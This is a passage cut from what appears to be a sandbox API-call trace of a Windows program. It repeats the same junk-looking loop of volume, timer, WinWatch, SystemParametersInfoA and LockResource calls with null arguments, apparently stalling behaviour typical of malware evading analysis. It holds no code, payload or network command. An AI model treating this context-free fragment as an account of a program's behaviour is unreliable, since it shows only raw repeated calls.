lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.122] WinWatchNotify () returned 0x0 [0141.122] timeGetTime () returned 0x11387f7 [0141.122] WinWatchOpen () returned 0x600b40 [0141.122] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.122] LockResource (hResData=0x0) returned 0x0 [0141.122] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.122] WinWatchNotify () returned 0x0 [0141.122] timeGetTime () returned 0x11387f7 [0141.122] WinWatchOpen () returned 0x600b60 [0141.122] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.122] LockResource (hResData=0x0) returned 0x0 [0141.122] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.123] WinWatchNotify () returned 0x0 [0141.123] timeGetTime () returned 0x11387f8 [0141.123] WinWatchOpen () returned 0x600b80 [0141.123] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.123] LockResource (hResData=0x0) returned 0x0 [0141.123] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.123] WinWatchNotify () returned 0x0 [0141.123] timeGetTime () returned 0x11387f8 [0141.123] WinWatchOpen () returned 0x600ba0 [0141.123] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.123] LockResource (hResData=0x0) returned 0x0 [0141.123] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.123] WinWatchNotify () returned 0x0 [0141.123] timeGetTime () returned 0x11387f8 [0141.123] WinWatchOpen () returned 0x600bc0 [0141.123] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.123] LockResource (hResData=0x0) returned 0x0 [0141.123] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.123] WinWatchNotify () returned 0x0 [0141.123] timeGetTime () returned 0x11387f8 [0141.123] WinWatchOpen () returned 0x600be0 [0141.123] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.123] LockResource (hResData=0x0) returned 0x0 [0141.123] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.123] WinWatchNotify () returned 0x0 [0141.123] timeGetTime () returned 0x11387f8 [0141.123] WinWatchOpen () returned 0x600c00 [0141.123] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.123] LockResource (hResData=0x0) returned 0x0 [0141.123] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.123] WinWatchNotify () returned 0x0 [0141.123] timeGetTime () returned 0x11387f8 [0141.123] WinWatchOpen () returned 0x600c20 [0141.123] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.123] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.124] timeGetTime () returned 0x11387f9 [0141.124] WinWatchOpen () returned 0x600c40 [0141.124] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.124] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.124] timeGetTime () returned 0x11387f9 [0141.124] WinWatchOpen () returned 0x600c60 [0141.124] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.124] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.124] timeGetTime () returned 0x11387f9 [0141.124] WinWatchOpen () returned 0x600c80 [0141.124] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.124] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.124] timeGetTime () returned 0x11387f9 [0141.124] WinWatchOpen () returned 0x600ca0 [0141.124] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.124] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.124] timeGetTime () returned 0x11387f9 [0141.124] WinWatchOpen () returned 0x600cc0 [0141.124] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.124] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.124] timeGetTime () returned 0x11387f9 [0141.124] WinWatchOpen () returned 0x600ce0 [0141.124] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.124] LockResource (hResData=0x0) returned 0x0 [0141.124] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.124] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fa [0141.125] WinWatchOpen () returned 0x600d00 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.125] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.125] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fa [0141.125] WinWatchOpen () returned 0x600d20 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.125] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.125] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fa [0141.125] WinWatchOpen () returned 0x600d40 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.125] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.125] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fa [0141.125] WinWatchOpen () returned 0x600d60 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.125] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.125] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fa [0141.125] WinWatchOpen () returned 0x600d80 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.125] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.125] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fa [0141.125] WinWatchOpen () returned 0x60b720 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.125] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.125] WinWatchNotify () returned 0x0 [0141.125] timeGetTime () returned 0x11387fb [0141.125] WinWatchOpen () returned 0x60b740 [0141.125] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.125] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.126] WinWatchNotify () returned 0x0 [0141.126] timeGetTime () returned 0x11387fb [0141.126] WinWatchOpen () returned 0x60b760 [0141.126] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.126] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.126] WinWatchNotify () returned 0x0 [0141.126] timeGetTime () returned 0x11387fb [0141.126] WinWatchOpen () returned 0x60b780 [0141.126] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.126] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.126] WinWatchNotify () returned 0x0 [0141.126] timeGetTime () returned 0x11387fb [0141.126] WinWatchOpen () returned 0x60b7a0 [0141.126] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.126] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.126] WinWatchNotify () returned 0x0 [0141.126] timeGetTime () returned 0x11387fb [0141.126] WinWatchOpen () returned 0x60b7c0 [0141.126] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.126] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.126] WinWatchNotify () returned 0x0 [0141.126] timeGetTime () returned 0x11387fb [0141.126] WinWatchOpen () returned 0x60b7e0 [0141.126] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.126] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.126] WinWatchNotify () returned 0x0 [0141.126] timeGetTime () returned 0x11387fb [0141.126] WinWatchOpen () returned 0x60b800 [0141.126] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.126] LockResource (hResData=0x0) returned 0x0 [0141.126] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fc [0141.127] WinWatchOpen () returned 0x60b820 [0141.127] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.127] LockResource (hResData=0x0) returned 0x0 [0141.127] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fc [0141.127] WinWatchOpen () returned 0x60b840 [0141.127] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.127] LockResource (hResData=0x0) returned 0x0 [0141.127] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fc [0141.127] WinWatchOpen () returned 0x60b860 [0141.127] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.127] LockResource (hResData=0x0) returned 0x0 [0141.127] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fc [0141.127] WinWatchOpen () returned 0x60b880 [0141.127] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.127] LockResource (hResData=0x0) returned 0x0 [0141.127] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fc [0141.127] WinWatchOpen () returned 0x60b8a0 [0141.127] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.127] LockResource (hResData=0x0) returned 0x0 [0141.127] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fc [0141.127] WinWatchOpen () returned 0x60b8c0 [0141.127] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.127] LockResource (hResData=0x0) returned 0x0 [0141.127] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.127] WinWatchNotify () returned 0x0 [0141.127] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b8e0 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.128] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.128] WinWatchNotify () returned 0x0 [0141.128] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b900 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.128] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.128] WinWatchNotify () returned 0x0 [0141.128] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b920 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.128] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.128] WinWatchNotify () returned 0x0 [0141.128] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b940 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.128] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.128] WinWatchNotify () returned 0x0 [0141.128] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b960 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.128] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.128] WinWatchNotify () returned 0x0 [0141.128] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b980 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.128] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.128] WinWatchNotify () returned 0x0 [0141.128] timeGetTime () returned 0x11387fd [0141.128] WinWatchOpen () returned 0x60b9a0 [0141.128] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.128] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.129] WinWatchNotify () returned 0x0 [0141.129] timeGetTime () returned 0x11387fe [0141.129] WinWatchOpen () returned 0x60b9c0 [0141.129] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.129] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.129] WinWatchNotify () returned 0x0 [0141.129] timeGetTime () returned 0x11387fe [0141.129] WinWatchOpen () returned 0x60b9e0 [0141.129] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.129] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.129] WinWatchNotify () returned 0x0 [0141.129] timeGetTime () returned 0x11387fe [0141.129] WinWatchOpen () returned 0x60ba00 [0141.129] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.129] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.129] WinWatchNotify () returned 0x0 [0141.129] timeGetTime () returned 0x11387fe [0141.129] WinWatchOpen () returned 0x60ba20 [0141.129] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.129] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.129] WinWatchNotify () returned 0x0 [0141.129] timeGetTime () returned 0x11387fe [0141.129] WinWatchOpen () returned 0x60ba40 [0141.129] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.129] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.129] WinWatchNotify () returned 0x0 [0141.129] timeGetTime () returned 0x11387fe [0141.129] WinWatchOpen () returned 0x60ba60 [0141.129] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.129] LockResource (hResData=0x0) returned 0x0 [0141.129] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x11387ff [0141.130] WinWatchOpen () returned 0x60ba80 [0141.130] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.130] LockResource (hResData=0x0) returned 0x0 [0141.130] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x11387ff [0141.130] WinWatchOpen () returned 0x60baa0 [0141.130] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.130] LockResource (hResData=0x0) returned 0x0 [0141.130] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x11387ff [0141.130] WinWatchOpen () returned 0x60bac0 [0141.130] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.130] LockResource (hResData=0x0) returned 0x0 [0141.130] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x11387ff [0141.130] WinWatchOpen () returned 0x60bae0 [0141.130] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.130] LockResource (hResData=0x0) returned 0x0 [0141.130] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x11387ff [0141.130] WinWatchOpen () returned 0x60bb00 [0141.130] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.130] LockResource (hResData=0x0) returned 0x0 [0141.130] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x11387ff [0141.130] WinWatchOpen () returned 0x60bb20 [0141.130] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.130] LockResource (hResData=0x0) returned 0x0 [0141.130] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.130] WinWatchNotify () returned 0x0 [0141.130] timeGetTime () returned 0x1138800 [0141.131] WinWatchOpen () returned 0x60bb40 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.131] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.131] WinWatchNotify () returned 0x0 [0141.131] timeGetTime () returned 0x1138800 [0141.131] WinWatchOpen () returned 0x60bb60 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.131] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.131] WinWatchNotify () returned 0x0 [0141.131] timeGetTime () returned 0x1138800 [0141.131] WinWatchOpen () returned 0x60bb80 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.131] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.131] WinWatchNotify () returned 0x0 [0141.131] timeGetTime () returned 0x1138800 [0141.131] WinWatchOpen () returned 0x60bba0 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.131] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.131] WinWatchNotify () returned 0x0 [0141.131] timeGetTime () returned 0x1138800 [0141.131] WinWatchOpen () returned 0x60bbc0 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) 